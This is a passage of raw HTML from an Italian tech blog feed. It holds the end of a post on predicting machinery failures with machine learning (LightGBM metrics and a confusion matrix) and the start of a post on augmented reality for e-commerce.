%2035l-1%205c0%202%200%203-1%202%200-2-2-3-2%200h-4c0%202-5%201-6%200-1-2-6-3-6-1l2%201%202%201%207%201%207%201h1l4-1%2010-1h4l5-1c2-1%202-1%203%201h2l4-1h13l11-1h1l4%201a22%2022%200%20016%201l4%201h2l2-1%2011%201h15c2%201%207%200%207-1l-3-1h-13a276%20276%200%2001-24-1l-4-1-6-2-2-1c0%203-15%204-19%202h-2l-9%201h-4l-6%201h-4c-1-1-2%200-3%201-3%202-6%200-6-3s-1-6-2-4m-42%2016l-2%204-1%203c0%203-2%202-5-1s-3-3-5-1l-1%203-1%202-2%209-1%208v-8c0-12-3-10-3%202%200%205%200%205-1-2%200-5-1-8-2-9l-1%202c0%201-1%202-2%201l-4%201h-1l-2-1c-1%201-2%200-3-1-2-1-2-1-4%201l-2%203-2-2-1-2-1%203-1%201-3-1c-3%200-3%201-3%203l-1%203-1-2-1-2-1-2c-1-3-2-4-4-1h-1c0-2-1-2-2-2h-5l-3%202-1%203-1%203v-3c0-4-3-4-3%200l-1%203-3-2-2-4c0-3-3-2-4%201%200%203%200%203-1%202-1-2-2-2-3-1h-1v-2c-1-2-3-2-3%200s-4-3-4-5h-1c-1%200-2%206-2%2013-1%2014-2%2015-2%202l-1-10h-5c-1%201-1%201-2-1-2-3-3-3-3%201%200%202%200%202-2%202-1-1-2%200-3%201h-1c0-2-1-3-3-1-1%201-1%201-2-2%200-3-3-5-4-3-1%201-1%200-1-1%200-2-2-3-2%200l-1%203-1-2-2%201-2%201h-1l-1%202c0%202-1%202-4%202s-4-1-4-3-2-3-2%200l-1-1-1-2v2c0%202%200%202-1%201-1-2-2-1-2%204v1c1-2%202-2%202-1h1c0-2%201-2%201-1l1%201%201%201c0%202%201%202%202%201%202-2%206-2%206%200l1%201%201-1%202-2%201-2c0-3%205-1%206%202%200%203%200%203%201%201%200-2%200-2%201-1h2c1-1%201-1%202%201v2l2-2%201-2v2l1%202%202-2c2-2%202-2%203-1%200%202%200%202%201-1l2-2v2c1%202%201%202%202%200s2-2%203%200c2%201%202%203%203%2015%200%2021%204%2018%204-4%200-9%201-17%202-15l1%203%202%202%201-2%201%201c2%204%202%204%203%202h2c1%202%203%201%203-2v-2l3%203c4%204%206%204%207%200l1%202c1%204%203%204%203%201s3-7%204-7l1%202h4c1%203%203%202%203%200l2%202c2%203%202%205%203%2015%200%2017%202%2017%202-1%201-13%201-15%203-15l2%201%201%203%201%202%201-3%201-4%201%201c0%202%203%201%203-1%201-3%206-2%208%201%201%202%201%202%203%200l1-1h1l2%201c0%203%202%202%202%200%201-1%201%205%201%2013%200%2018%201%2021%203%205l1-12v11c0%2010%202%2019%202%2010%200-17%202-31%204-33l2-3%201-1%205%205c0%204%202%203%203-1l1-4%201-2h4c1%202%202%202%203%201l2-1%201-1%202%202%202%203%203-2c3-2%204-2%205%202l2%202%201-2h1c0%203%202%202%202%200s0-2%202%200c2%201%202%201%202-1l1%201c1%202%203%203%203%200h1l1-2%201-1%201%2019%201%2021c1%202%201-2%202-23l1-8%201%202c0%202%202%201%203-1%200-2%203-4%203-4a76%2076%200%20001%205c0%202%202%201%202-1s3-2%203%200c0%201%201%201%202-1s3-3%203%200l1%201%201-2h1c2%201%208%200%208-2l-1-1-1%201h-5c-1-1-1-2-2-1l-2-1h-1l-1%201-2%201c0%202-3%200-3-2-1-2-1-2-2%200l-1%202c0-2-5-2-5%200l-1%201-1-2c0-3-2-3-2-1l-1%208c0%204-1%203-1-4%200-6-1-11-2-11h-1c0%201%200%202-1%201l-2%202c-1%202-1%202-1-1-1-3-1-3-3-2l-3%202c-2%200-3%201-3%202s-1%201-3-1-3-3-5-3c-2%201-4%200-5-1l-2-2-2%203c-3%202-3%202-3%200l-3-2-1-2c-1-2-1-2-1%201m176%204l-1%205c0%203%200%203-1%202l-1-4c0-3-3-2-5%203-1%202-1%202-1%200s-2-4-2-2l-6%203-3-2-1-2-2%202-2%203-1-3c0-2-2-3-2-1h-1l-2-3-1-1c-3%200-3%201%200%204l3%204h2c2%202%205%201%205-1%201-1%201-1%202%202%202%203%202%203%203%201%202-2%202-2%204%200h3c2%202%203%201%203-1%201-4%203-4%204%200%200%205%202%203%203-3%201-4%201-4%201-1%200%204%202%208%202%205%201-4%202%2012%202%2021l1%2012c2%201%203-2%203-16%200-18%201-22%203-20h1l-2-4c-2%200-3%203-3%2011%200%2015-2%2019-2%206%200-12%200-13-2-14l-2-4c0-3-2-5-2-2m-79%203h-1l-2%201h-1c0-2-3%201-3%203h-6l-3%201-3%201-1%201c-3%200-5%200-3%201l2%203c0%202%202%201%203-1%200-3%202-4%204-2%200%202%202%201%202-1h3l1%201c0%203%202%201%203-2%200-3%200-3%201-1l1%203%201-3%201-1%201-1c1-2%201-2%202-1%202%203%203%202%203%200%200-1%200-2-1-1l-1-1-1-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/c85cb/dati.webp 300w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/e88ff/dati.webp 600w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/92f8c/dati.webp 1200w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/b33b6/dati.webp 1582w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/f93b5/dati.jpg 300w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/b4294/dati.jpg 600w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/e5166/dati.jpg 1200w,/static/a8c81f1f9c4e055ee6fb88a68ff44515/4e286/dati.jpg 1582w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Dati telemetrici&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/e5166/dati.jpg&quot; title=&quot;Figura 8 - Dati telemetrici&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Dati telemetrici&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Una volta acquisiti tutti i dati, è stata svolta un&amp;#x27;approfondita attività di &lt;strong&gt;feature engineering&lt;/strong&gt;, cioè un&amp;#x27;attività in cui i dati
hanno subito filtraggi, elaborazioni e aggregazioni; quest&amp;#x27;attività, ogni volta che si affronta un task di machine learning, è fondamentale
per riuscire a porre i dati nella forma migliore per riuscire ad addestrare in modo efficiente quello che è l&amp;#x27;algoritmo scelto.&lt;/p&gt;&lt;p&gt;I dati sono stati successivamente etichettati, in modo da poter utilizzare un&amp;#x27;approccio supervisionato per l&amp;#x27;addestramento.&lt;br/&gt;
Per fare ciò abbiamo correlato ad ogni record telemetrico due diversi valori:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;un valore su scala continua, per il task di regressione, che specifica il tempo rimanente al guasto nel momento in cui è stato registrato quel record telemetrico;&lt;/li&gt;&lt;li&gt;un valore binario, per il task di classificazione binaria, che indica se il record telemetrico è stato registrato all&amp;#x27;interno di una certa finestra temporale dal guasto.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Al termine dell&amp;#x27;etichettatura ne è risultato un dataset composto da circa 170 sequenze telemetriche precedenti a guasti occorsi sullo stesso macchinario,
dove ogni sequenza telemetrica ha un&amp;#x27;ampiezza compresa tra 250 e 300 minuti&lt;/p&gt;&lt;p&gt;Il dataset è stato infine suddiviso in:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;training set (90% del totale, usato per l&amp;#x27;addestramento);&lt;/li&gt;&lt;li&gt;test set (10% del totale, usato per valutare le performance del modello addestrato).&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;addestramenti-e-valutazioni&quot;&gt;Addestramenti e valutazioni&lt;/h3&gt;&lt;p&gt;Sono stati addestrati e testati alcuni algoritmi candidati per il task da svolgere.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Gradient_boosting&quot;&gt;Light Gradient Boost Machine Classifier&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Random_forest&quot;&gt;Extra Trees Regressor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://it.wikipedia.org/wiki/Foresta_casuale&quot;&gt;Random Forest Classifier&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Long_short-term_memory&quot;&gt;Long Short-Term Memory Networks&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Dopo ogni addestramento è fondamentale valutare le prestazioni del modello ottenuto. Questo per paragonare sia diversi
algoritmi tra loro, sia diversi configurazioni di addestramento dello stesso algoritmo, e individuare lo strumento che
lavora meglio su quel preciso task.&lt;br/&gt;
Per svolgere queste valutazioni si fa uso di tutta una serie di metriche e grafici, che mostrano quanto bene il modello
in questione sia in grado di svolgere il compito per cui è stato addestrato.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nel caso in esame possiamo vedere a titolo di esempio i risultati della valutazione svolta in merito al task di previsione
se entro una certa finestra temporale si potrebbe verificare un guasto.&lt;br/&gt;
In particolare i risultati fanno riferimento all&amp;#x27;addestramento di un &lt;strong&gt;Light Gradient Boost Machine Classifier&lt;/strong&gt; con finestra
temporale fissata a 30 minuti.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:500px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:97.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;389\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20389\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/c85cb/metrics.webp 300w,/static/6e331c730a4d8e2e2185c69fe640caac/b0a15/metrics.webp 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/5a46d/metrics.png 300w,/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Metriche di valutazione&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6e331c730a4d8e2e2185c69fe640caac/0b533/metrics.png&quot; title=&quot;Figura 9 - Metriche di valutazione&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Metriche di valutazione&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La colonna holdout score mostra i valori per le metriche che riguardano le prestazioni del modello sul test set.&lt;br/&gt;
Riscontriamo un&amp;#x27;&lt;a href=&quot;https://it.wikipedia.org/wiki/Accuratezza&quot;&gt;accuratezza&lt;/a&gt; totale del 98,6%, con valori di &lt;a href=&quot;https://it.wikipedia.org/wiki/Precisione_e_recupero&quot;&gt;Precision e Recall&lt;/a&gt;
anch&amp;#x27;essi molto alti, che denotano delle prestazioni soddisfacenti per il modello in questione.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Per una visione più approfondita vediamo anche la &lt;a href=&quot;https://it.wikipedia.org/wiki/Matrice_di_confusione&quot;&gt;matrice di confusione&lt;/a&gt;,
che permette di visualizzare falsi positivi e falsi negativi, mettendo in relazione le etichette
reali con i valori previsti dal modello.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:433px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:96.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;387\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20387\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M11%2022c-5%203-1%2015%205%2015%204%200%209-4%207-5h-3c-2%202-7%203-8%201s0-8%201-10c2-2%206-1%207%201s3%203%203%201c0-5-7-7-12-3m109%207l1%208%202-6v-4l2%205%203%205%203-5%202-5v4l2%206%201-8c0-8%200-9-2-9-1%200-2%201-3%206l-3%206-2-6c-2-5-2-6-4-6s-2%201-2%209m78-6c-5%202-6%209-1%2012%207%205%2015-4%2010-10-3-3-5-4-9-2M27%2026c-4%204-1%2011%204%2011%203%200%206-3%206-6%200-6-7-9-10-5m61%201c-2%203-2%203-1%206%202%205%209%205%2011%200%203-7-5-12-10-6m51-1c-1%202-1%202%203%201%205%200%206%202%201%203-7%202-6%207%202%207h4v-6l-1-6c-2-2-6-1-9%201M16%20220v111h364V108H16v112m1-72v39h108v-78H17v39m109-20v19h253v-38H126v19m66-5c-2%203-4%204-5%203l-4-1c-1%201-2%200-3-1h-2l-4%201c-2%200-3%201-3%203%200%204%202%205%205%203h10l-1-1-2-1h2l4%202%204%201c2%200%202%200%202-5s-1-6-3-4M39%20147c0%204%200%204%203%204l3-1h7l4%201c2%200%202%200%202-3-1-4-4-6-6-3%200%202%200%202-2%200h-3c-1%201-6-1-6-2l-1-1-1%205m43-4l-2%201-2%202-2-1h-6c0-2-2-1-3%201l-1%202v-2c-1-4-6-2-7%202l1%203%202-2%201-3%202%203c0%203%203%203%204-1v-2l1%202c1%203%204%204%207%202h1l3%201c3%200%203%200%203-4l-1-5-1%201m44%2025v19h136v-39H126v20m137%200v19h116v-39H263v20M17%20212v23h108v-47H17v24m177%200v23h68v-47h-68v24m69%200v23h116v-47H263v24M17%20259v23h108v-46H17v23m109%200v23h68v-46h-68v23m137%200v23h116v-46H263v23M17%20307v23h108v-47H17v24m109%200v23h136v-47H126v24m137%200v23h116v-47H263v24m-153-4l-2%201-4%201h-2l-7-1h-5v4c0%202%200%203%201%202%201-4%202-5%202-2l1%203%201-2c0-4%202-4%202-1%201%203%205%204%205%202h-1l-2-1c0-2%204-1%205%201%200%201%204%202%205%200l-2-1-2-1c0-2%200-2%202-2h2c1-1%201%200%201%202l1%203c1%200%202-3%201-8%200-2-2-1-2%200m-94%2049v4h54a737%20737%200%200047-2l1-2-1-2%203-1-50-1H16v4m259-3c3%200%204%201%204%203s-1%203-4%203l51%201h54v-8h-54l-51%201M63%20362v7l1-3c0-2%201-3%202-3l1%203%201%203%201-3c0-4%202-4%202%200%201%203%204%204%207%202h6l-2-1c-1%200-2%200-2-2s0-2%202-1c2%200%202%200%201-2h-3c-2%202-2%202-3%200H63m292%200v7l1-3c0-2%201-3%202-3l1%203%201%203%201-3c0-4%202-4%202%200%201%203%204%204%207%202h6l-2-1c-2%201-2%201-2-1%200-3%200-3%202-2%202%200%202%200%201-2h-3c-2%202-2%202-3%200h-14\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/c85cb/cm.webp 300w,/static/5a19a9751f9c38d57694b9be1d9af65d/aff3a/cm.webp 433w&quot; sizes=&quot;(max-width: 433px) 100vw, 433px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/5a46d/cm.png 300w,/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png 433w&quot; sizes=&quot;(max-width: 433px) 100vw, 433px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Matrice di confusione&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5a19a9751f9c38d57694b9be1d9af65d/55fc0/cm.png&quot; title=&quot;Figura 10 - Matrice di confusione&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Matrice di confusione&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Dalla matrice di confusione si riscontra che:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;nel 92,7% dei casi se siamo vicini a un possibile guasto il sistema è in grado di prevederlo correttamente, mentre nel 7,3% dei
casi non è in grado di segnalarlo;&lt;/li&gt;&lt;li&gt;il 98,2% delle volte che viene segnalato un possibile imminente guasto questo accadrà realmente, mentre nel 1,8% dei casi
si tratterà di un falso allarme.&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Le tecniche di applicazione illustrate rappresentano una possibile strategia di azione per realizzare, attraverso il machine learning,
dei sistemi in grado di supportare la manutenzione predittiva.&lt;br/&gt;
Per esempio, un sistema in grado di prevedere se un guasto si potrebbe verificare entro 30 minuti, potrebbe essere utilizzato per
installare su un macchinario un semaforo che segnalerà, qualora il sistema lo preveda, possibili guasti imminenti.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Questo rappresenta solo un esempio di come il machine learning e più in generale l&amp;#x27;intelligenza artificiale possono aiutare
quello che è il processo produttivo e decisionale all&amp;#x27;interno dell&amp;#x27;ambiente industriale.&lt;br/&gt;
In linea con la trasformazione verso la cosiddetta Industria 4.0, il machine learning rivestirà negli anni a venire un ruolo
fondamentale per la crescita e la capacità delle industrie di rimanere al passo con i tempi.&lt;/p&gt;&lt;div style=&quot;background-position:50% 50%;background-size:cover&quot; class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;PostCTA-module--container--1jQBk&quot;&gt;&lt;div class=&quot;PostCTA-module--content--X27Xv&quot;&gt;&lt;h2 class=&quot;PostCTA-module--title--20VJu&quot;&gt;Vuoi scoprire come utilizzare il Machine Learning per ottimizzare i tuoi processi produttivi?&lt;/h2&gt;&lt;a class=&quot;PostCTA-module--cta--Q2ezQ&quot; href=&quot;https://www.smc.it/contatta-smc&quot;&gt;Contattaci ora&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Le sfide dell'AR nell'E–Commerce]]></title><link>https://techblog.smc.itimmersive-commerce</link><guid isPermaLink="false">https://techblog.smc.itimmersive-commerce</guid><pubDate>Tue, 12 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I lockdown sanitari stanno costringendo milioni di persone a casa in tutto il mondo. I negozi ormai sono vuoti o chiusi, se non per prime necessità. Tutto ciò sta facendo pensare ad una imminente crisi, soprattutto riguardante la grande distribuzione e la vendita al dettaglio. In tutto ciò, i vari brand si stanno rivolgendo alla tecnologia come strumento per continuare a mantenere una forza vendite, avvicinando le persone.&lt;/p&gt;&lt;p&gt;Dopo il grande cambiamento, avvenuto non pochi anni fa, che ha portato all&amp;#x27;affermazione della grande distribuzione organizzata, negli ultimi anni si è parlato molto delle vendite online, che secondo molti avrebbero sostituito anche i grandi centri commerciali.&lt;/p&gt;&lt;p&gt;Nella realtà, nonostante stiano crescendo molto e abbiano già messo in crisi interi settori, le vendite online sono sempre state confinate ad alcune specifiche tipologie di prodotti. Questo perché, nonostante gli e-commerce offrano molte comodità, sono sempre stati considerati più &amp;quot;distanti&amp;quot; rispetto alle loro controparti reali: l&amp;#x27;esperienza che può dare un negozio fisico, ad oggi, è molto più potente di quella che comunemente troviamo in un negozio online. Basti pensare ai negozi monomarca, come quelli di Dyson o Apple: l&amp;#x27;intero store è progettato per trasferire al cliente il brand, e ogni prodotto può essere percepito, visto e toccato.&lt;/p&gt;&lt;p&gt;È proprio questo che frena l&amp;#x27;avanzata delle vendite online: &lt;em&gt;se non ho esperienza tangibile di un prodotto sarò più restio ad acquistarlo online&lt;/em&gt;. Non a caso molti negozi nei centri commerciali sono comunque pieni di persone. Capita addirittura che vengano visitati unicamente per avere l&amp;#x27;esperienza di discovery e di prova &amp;quot;in mano&amp;quot; dei prodotti, comprando in ultimo luogo la merce su un e-commerce.&lt;/p&gt;&lt;blockquote class=&quot;ContainerBleed-module--bleed--xdVv_ Prediction-module--prediction--2zCeA&quot;&gt;&lt;div class=&quot;Prediction-module--content--1CtI1&quot;&gt;&lt;p class=&quot;Overline-module--overline--2CeYG Overline-module--primary--2vIKX&quot;&gt;Predizione&lt;/p&gt;&lt;div&gt;Entro il 2025 la maggior parte degli acquisti consumer sarà guidata da esperienze immersive online.&lt;/div&gt;&lt;footer class=&quot;Prediction-module--deadline--2pMjB&quot;&gt;&lt;div class=&quot;Prediction-module--remaining--1r_1G&quot;&gt;Scade tra 1 anno&lt;/div&gt;&lt;/footer&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Visti i recenti avvenimenti tutto ciò è sospeso, e senza ombra di dubbio più limitato in futuro. Come possiamo risolvere ciò? Come possiamo migliorare i negozi online, per renderli altrettanto attraenti quanto i negozi fisici?&lt;/p&gt;&lt;h1 id=&quot;come-lar-aiuta-le-vendite&quot;&gt;Come l&amp;#x27;AR aiuta le vendite&lt;/h1&gt;&lt;p&gt;Già negli anni passati si dava per sicuro il 2020 come l&amp;#x27;anno dell&amp;#x27;Augmented Reality, viste le innovazioni tecnologiche avvenute e l&amp;#x27;adozione da parte delle maggiori piattaforme Mobile. Sia Apple sia Google stanno investendo molto per standardizzare l&amp;#x27;AR all&amp;#x27;interno di iOS e di Android, facendo nascere ARKit e ARCore. Apple, secondo alcune indiscrezioni, starebbe addirittura lavorando ad un visore indossabile per realtà aumentata, che consentirà un&amp;#x27;immersione e una qualità ancora maggiore. Facebook, nel frattempo, ha permesso di creare campagne di marketing con AR sulle sue piattaforme.&lt;/p&gt;&lt;p&gt;Alla luce dei recenti avvenimenti, non possiamo altro che confermare ancora di più questa previsione. Ma in cosa consiste l&amp;#x27;AR, e quali possibilità offre?&lt;/p&gt;&lt;p&gt;L&amp;#x27;Augmented Reality è una tecnologia che consente l&amp;#x27;arricchimento della realtà con contenuti digitali, come immagini, video o modelli 3d, fondendoli mediante uno schermo o un visore. Ciò consente di collocare elementi nello spazio, permettendo di vederne le dimensioni, girarci attorno e compararli con il resto dell&amp;#x27;ambiente reale. Questo permette all&amp;#x27;utente di avere un&amp;#x27;esperienza e una consapevolezza del prodotto nettamente migliore rispetto alle tradizionali foto, aumentando la fiducia nel prodotto che si sta per acquistare.&lt;/p&gt;&lt;p&gt;Oltre a migliorare questo aspetto, avvicinandosi ai negozi fisici, l&amp;#x27;AR fornisce agli utenti delle potenzialità ancora maggiori:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Posso personalizzare il prodotto, vedendolo in centinaia di variazioni, che normalmente non potrebbero esserci nei negozi fisici;&lt;/li&gt;&lt;li&gt;Posso collocare il prodotto in ogni luogo, verificando che le dimensioni siano adatte e che corrisponda nel suo luogo finale;&lt;/li&gt;&lt;li&gt;Posso presentare all&amp;#x27;utente dei prodotti in anteprima, non ancora realizzati;&lt;/li&gt;&lt;li&gt;Posso effettuare analitiche avanzate sulle preferenze degli utenti, che sarebbero invece molto difficili da raccogliere in un negozio.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Tutto ciò ha permesso ad IKEA di diventare il primo store di arredamento di successo, arrivando a vendere beni online per 2.9 miliardi nel 2019 &lt;em&gt;(Reuters)&lt;/em&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/40bf3eda8e992d20ce4f8478a4f12c02/0f98f/ar.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M103%209c-8%202-12%2011-8%2017l1%205c0%204%200%204-5%205-6%201-24%200-26-2-2-1-5-10-5-13l-3-3-4-3c-2-2-4-1-10%204l-11%207c-6%202-9%205-7%208%202%202%203%2012%202%2013l-6%201c-6%201-8-1-9-7l-4-6-3-2-3-2-2-1v126h5a485%20485%200%200133-4c3%200%202-2-1-3-3%200-3-1-3-3l-1-2-1%202-1%201c-2%200-2-2-1-4%203-5%2015%201%2012%207l-1%202h30v1l1%201-10%203c-5%200-5%200-2%201h16a1039%201039%200%200038%200l1%206a1243%201243%200%2000-36%205%20576%20576%200%2001-76%206l-3%201v22h3l13-1a1155%201155%200%200194-11c9-1%2011%200%2011%204%202%208%200%209-20%2014-16%204-41%2012-38%2012l-2%202c-2%202-2%202%204%202l7%201c1%201%2017%200%2029-2a323%20323%200%200120-4l1-1c0%203%2011-9%2017-19%202-3%202-3%200-3l-7%202c-6%202-8%200-8-5%200-4%202-5%2013-5h10l2-9c3-14%204-13-10-13l-11%201-1-5v-4l12-2%2011-3%202-5%204-13%203-13V83l-5-36c-3-12-3-12-17-12h-11l-2-5-2-7-1-1-4-3c-3-2-3-5%200-6%201-1%201-1-1-3-3-3-4-3-4%200s-3%205-5%203-1-4%201-4l2-1c0-1-3-1-7%201m73%2047c-3%202-4%208-4%2031l-1%2015-1%2013c0%208-1%2011-2%2012s-1%201-1-3v-7c-1-2-1-2-1%201l-1%2010a581%20581%200%20001%2033l1%202%201%207c1%204%201%206%204%208l2%204%202%201c2%201%201%205-2%206-3%200-2%202%200%202%201%200%202%200%201%201l-1%202-1%202-3%2012c0%203-1%204-2%204l-1%201h-1c-1-2-1-2-2%200s-1%202-2-1-2-3-3-2v4c2%201%202%202-3%206-5%205-5%205-5%202%200-2%200-2-1%200-3%203-2%203%202%203%203%200%204%200%203-1l1-2%201%201c1%204%208%203%2010-1%202-3%203-4%205-4%204%200%207-2%206-4%200-1%200-2%202-1%202%200%203-2%201-2l-1-2%202%201h5l3-2h-5c-8%200-12-5-8-10%202-2%204-2%204%201l2%203h1l2-2%206-4%204-3%201-1%204-1%203-1c0-2%202-1%